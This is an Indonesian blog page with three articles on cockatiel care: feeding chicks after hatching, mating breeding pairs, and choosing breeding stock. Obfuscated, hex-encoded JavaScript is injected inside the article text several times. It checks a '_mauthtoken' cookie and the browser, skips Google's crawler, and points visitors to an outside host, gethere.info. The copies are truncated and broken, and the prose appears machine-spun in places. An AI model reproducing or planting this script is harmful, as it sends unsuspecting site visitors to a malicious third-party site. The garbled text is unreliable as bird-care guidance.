IBX5980432E7F390 Perawatan Anakan Cockatiel Setelah Menetas Kupas Triknya - Kicauan Burung Lovebird Ngekek

Perawatan Anakan Cockatiel Setelah Menetas Kupas Triknya

Perawatan Anakan Cockatiel Setelah Menetas

Perawatan anakan cockatiel setelah menetas-Setelah menetaspun biasanya anakan cockatiel akan tetap dierami hingga 30 hari. Setelah itu induk cockatiel tidak akan mengerami anakannya lagi. Anakan cockatiel akan mengeluarkan suaranya ketika umurnya sudah memasuki 40 hari.

Di alam bebas biasanya salah satu indukan cockatiel akan mencarikan kuliner untuk anakannya, dan salah satunya lagi akan menjaga anak-anaknya.

Biasanya yang bertugas mencari makanan adalah cockatiel jantan. Dan yang bertugas untuk menjaga anakannya yaitu indukan betina. Saat anakannya lapar maka induknya akan melolohnya.Perawatan Anakan Cockatiel Setelah Menetas

Bagaimana cara mengerahui bahwa anakan cockatiel itu lapar? Anakan cockatiel akan mengeluarkan suaranya. Setelah anakan cockatiel mengeluarkan suara induknya akan datang dan meloloh anakannya.

Berbeda halnya dengan di alam bebas, jika di penangkaran indukan cockatiel tidak perlu mencari makanan untuk anakannya.

Sebab di dalam kandang sudah disediakan kuliner untuk anakan maupun untuk indukannya. Jadi, indukan tidak perlu lagi mencari kuliner untuk anaknya.

Sama halnya dengan anakan cockatiel yang ada di alam bebas, anakan cockatiel yang ada di penangkaran bila ia lapar maka ia akan bersuara.

Saat anakan cockatiel tidak usang kemudian indukan cockatiel akan tiba dan meloloh anakannya dengan makanan yang sudah tersedia di dalam penangkaran. Setelah anaknya merasa kenyang.

Ada kalanya induk cockatiel tidak mau meloloh anaknya. Pada dikala induk cockatiel tidak mau meloloh anak-anaknya maka kita harus meloloh anakan tersebut.

Bagaimana cara meloloh anakan? Caranya adalah dengan menggunakan alat bantu seperti bekas suntikan atau dengan menggunakan sendok. Kedua alat bantu tersebut bisa kita gunakan jikalaulau induk cockatiel tidak mau meloloh anakannya.

Jika kita menggunakan alat bantu bekas suntikan maka kita bisa melepas jarumnya lalu meletakkan karet di ujungnya.

Jika menggunakan suntikan kita harus memperhitungkan makanan yang harus diberikan kepada anakan cockatiel.

Usahakan kuliner itu mampu membuat anakan cockatiel kenyang. Jangan terlalu sedikit dan juga jangan terlalu banyak.

Alat bantu yang kedua adalah menggunakan sendok. Menggunakan sendok dinilai lebih efektif untuk meloloh anakan cockatiel.

Karena dengan memakai sendok kita bisa mengetahui apakah anakan tersebut sudah kenyang atau belum. Jika anakan cockatiel sudah merasa kenyang maka jikalau kita loloh maka ia tidak akan membuka mulutnya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Jenis Pakan Cockatiel Dari Anakan Hingga Dewasa
  • Cara Melatih Burung Cockatiel Cepat jinak
  • Jenis vitamin Serta Mineral Kusus Untuk Cockatiel
  • Cara Paling Sederhana Untuk Menjodohkan Cockatiel
  • Cara Mengawinkan Induk Burung Cockatiel
  • Panduan Lengkap Tutorial Menangkarkan Cockatiel
  • Perawatan Kesehatan Burung Cockatiel Bakalan
  • Cara Mudah Menetaskan Telur Jangkrik
  • Cara jual Beli Burung Cockatiel Dipasar Burung
  • Jenis Burung Cockatiel Paling Populer Di indonesia
  • Jenis Bentuk Kandang Penangkaran Burung Cockatiel

Cara Mengawinkan Induk Burung Cockatiel

Cara mengawinkan induk burung Cockatiel-Kawin merupakan hal yang umum dilakukan ketika cockatiel sudah menginjak akil balig cukup akal. Dalam mengawinkan cockatiel kita harus melihat umurnya juga. Tunggulah hingga cockatiel benar-benar matang kelaminnya.

Jangan terburu-buru mengawinkan cockatiel. Mengawinkan cockatiel juga tidak boleh teralu tua. Karena pada dikala cockatiel sudah renta terutama yang betinanya tidak bisa berproduksi banyak telur lagi.

Mengawinkan cockatiel mampu dengan cara kita yang menjodohkannya ataupun kedua cockatiel itu memang sudah tertarik satu sama lainnya. Mengawinkan cockatiel tidak butuh waktu usang.

Cukup dengan memasukkan cockatiel jantan ke dalam sangkar cockatiel betina. Kemudian kita tinggal menunggu saja hingga kedua cockatiel tersebut melakukan proses perkawinan.Cara Mengawinkan Induk Burung Cockatiel

Pada umumnya cockatiel yang sudah memiliki pasangan ia tidak akan mau berganti pasangan. Karena sifat cockatiel yang monogami. Apa itu monogami? Monogami yaitu burung yang setia dengan pasangannya. Dia tidak akan mengawini burung lainnya.

Masa untuk kawin sendiri sekitar 1 minggu. Pada waktu 1 ahad itu kedua cockatiel tersebut tetap diletakkan di dalam satu sangkar. Kapan kedua cockatiell tersebut dapat dipisahkan? Sepasang cockatiel tersebut dipisahkan dikala cockatiel betina bertelur.

Kedua cockatiel tersebut harus dipisahkan. Selesai bertelur greslah kedua cockatiel boleh dimasukkan lagi dalam sangkar yang sama.

Biasanya cockatiel betina akan bertelur sehabis 3 minggu sehabis proses perkawinan. Sangkar antara cockatiel jantan dan betina harus dipisahkan dikala proses bertelur ini.

Setelah cockatiel betina sudah siap bertelur, greslah cockatiel jantan bisa masuk ke dalam sangkar betina yang di dalamnya terdapat telurnya juga.

Pada kebanyakan pasangan cockatiel biasanya mereka akan menjaga dan merawat bantu-membantu telur-telur mereka hingga menetas dan hingga anakan mereka sampai berdikari.

Sepasangan cockatiel akan mengerami telur-telurnya bergantian. Saat siang cockatiel betina yang mengerami telur-telurnya, dan ketika malam cockatiel jantan yang akan mengerami telur-telurnya.

Proses pengeraman biasanya berlangsung hingga 2 ahad atau 3 minggu atau bahkan ada yang 4 minggu, sesudah itu telur-telur akan menetas.

Proses pengeraman yang ada sampai 4 ahad itu dikarenakan kedua cockatiel indukan tidak mengeram secara maksimal. Alasan lainnya ialah lantaran memang telur tersebut yang tidak baik.

Setelah 3 ahad telur-telur tersebut mampu menetas. Saat sudah menetas biasanya kedua indukan tersebut tetap mengerami anakannya hingga 30 hari setelah anakan tersebut menetas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)zz))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)on)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Memilih Calon Indukan Burung Cockatiel Berkualitas
  • Cara Paling Sederhana Untuk Menjodohkan Cockatiel
  • Cockatiel Burung Paling Cerdas Didunia
  • Cara Melatih Burung Cockatiel Cepat jinak
  • Cara jual Beli Burung Cockatiel Dipasar Burung
  • Jenis vitamin Serta Mineral Kusus Untuk Cockatiel
  • Berapa Harga Burung Cockatiel Bakalan Dan Dewasa
  • Jenis Pakan Cockatiel Dari Anakan Hingga Dewasa
  • Perawatan Anakan Cockatiel Setelah Menetas
  • Perawatan Kesehatan Burung Cockatiel Bakalan
  • Panduan Lengkap Cara Menangkarkan Cockatiel

Ciri Indukan Cockatiel Bagus Untuk Penangkaran

Ciri indukan cockatiel anggun untuk penangkaran-Mempersiapkan indukan merupakan hal yang perlu dilakukan bagi penangkar pemula cockatiel. Calon indukan bisa dipesan di penangkar yang sudah kita percayai dan sukses.

Calon indukan juga bisa dibeli di pasar burung. Dari kedua pilihan pembelian calon indukan, tempat yang paling baik membeli calon indukan adalah di penangkaran.

Karena membeli calon indukan di penangkaran lebih terjamin kualitasnya daripada membeli calon indukan di pasar burung. Di penangkaran kita juga bisa menentukan calon indukan yang kita sukai dan pas dengan harga yang kita inginkan.Ciri Indukan Cockatiel Bagus Untuk Penangkaran

Jika kita ingin membeli cockatiel jawara di penangkaran juga ada cockatiel jawara. Kebanyakan penangkar pemula yang ada di Indonesia lebih menentukan membeli calon indukan jawara, karena mereka percaya bahwa calon indukan jawara dapat pula melahirkan anakan-anakan yang jawara pula.

Membeli calon indukan juga harus memperhatikan kesehatan cockatiel, tidak ada cacat diseluruh tubuhnya, dan lainnya. Kesehatan merupakan syarat yang paling utama kalau kita ingin membeli calon indukan.

Jika calon indukan tersebut sakit maka jangan dibeli. Bagi kita yang baru membuka perjuangan penangkaran, kita dituntut lebih teliti lagi untuk membeli calon indukan.

Dalam menentukan calon indukan yang harus diperhatikan selanjutnya ialah jenis kelamin cockatiel. Membedakan jenis kelamin cockatiel merupakan hal yang sangat-sangat sulit.

Bagi penangkar cockatiel yang sudah usang terjun ke dunia ini saja merasa sangat-sangat sulit membedakan jenis kelamin cockatiel, apalagi kita yang baru saja ingin terjun ke dunia penangkaran cockatiel.

Hanya orang yang betul-betul hebat dalam dunia cockatiel sajalah yang mampu menentukan jenis kelamin cockatiel.

Jika kita ingin mengetahui jenis kelamin cockatiel yang sudah kita beli, kita bisa mendatangani laboraturium khusus untuk burung.

Jika kita pergi ke laboraturium khusus burung maka kita harus menyediakan uang yang banyak. Karena penelitian ini membutuhkan dana yang tidak sedikit.

Jika kita tidak memiliki uang yang cukup, maka kita bisa menentukan jenis kelamin cockatiel sendiri. Hasilnya tidak akan sepenuhnya berhasil.

Karena sulitnya menentukan jenis kelamin cockatiel. Kita bisa memakai pengalaman kita untuk menentukan kelamin cockatiel. Kemungkinan kecil cara ini akan berhasil.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Jenis Burung Cockatiel Paling Populer Di indonesia
  • Berapa Harga Burung Cockatiel Bakalan Dan Dewasa
  • Memilih Calon Indukan Burung Cockatiel Berkualitas
  • Cara Paling Sederhana Untuk Menjodohkan Cockatiel
  • Mengenal Lebih akrab Burung Cockatiel
  • Jenis vitamin Serta Mineral Kusus Untuk Cockatiel
  • Cockatiel Burung Paling Cerdas Didunia
  • Ukuran Bentuk Kandang Jenis Burung Cockatiel
  • Cara jual Beli Burung Cockatiel Dipasar Burung
  • Cara Melatih Burung Cockatiel Cepat jinak
  • Cara Mengawinkan Induk Burung Cockatiel

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Perawatan Anakan Cockatiel Setelah Menetas Kupas Triknya"

Posting Komentar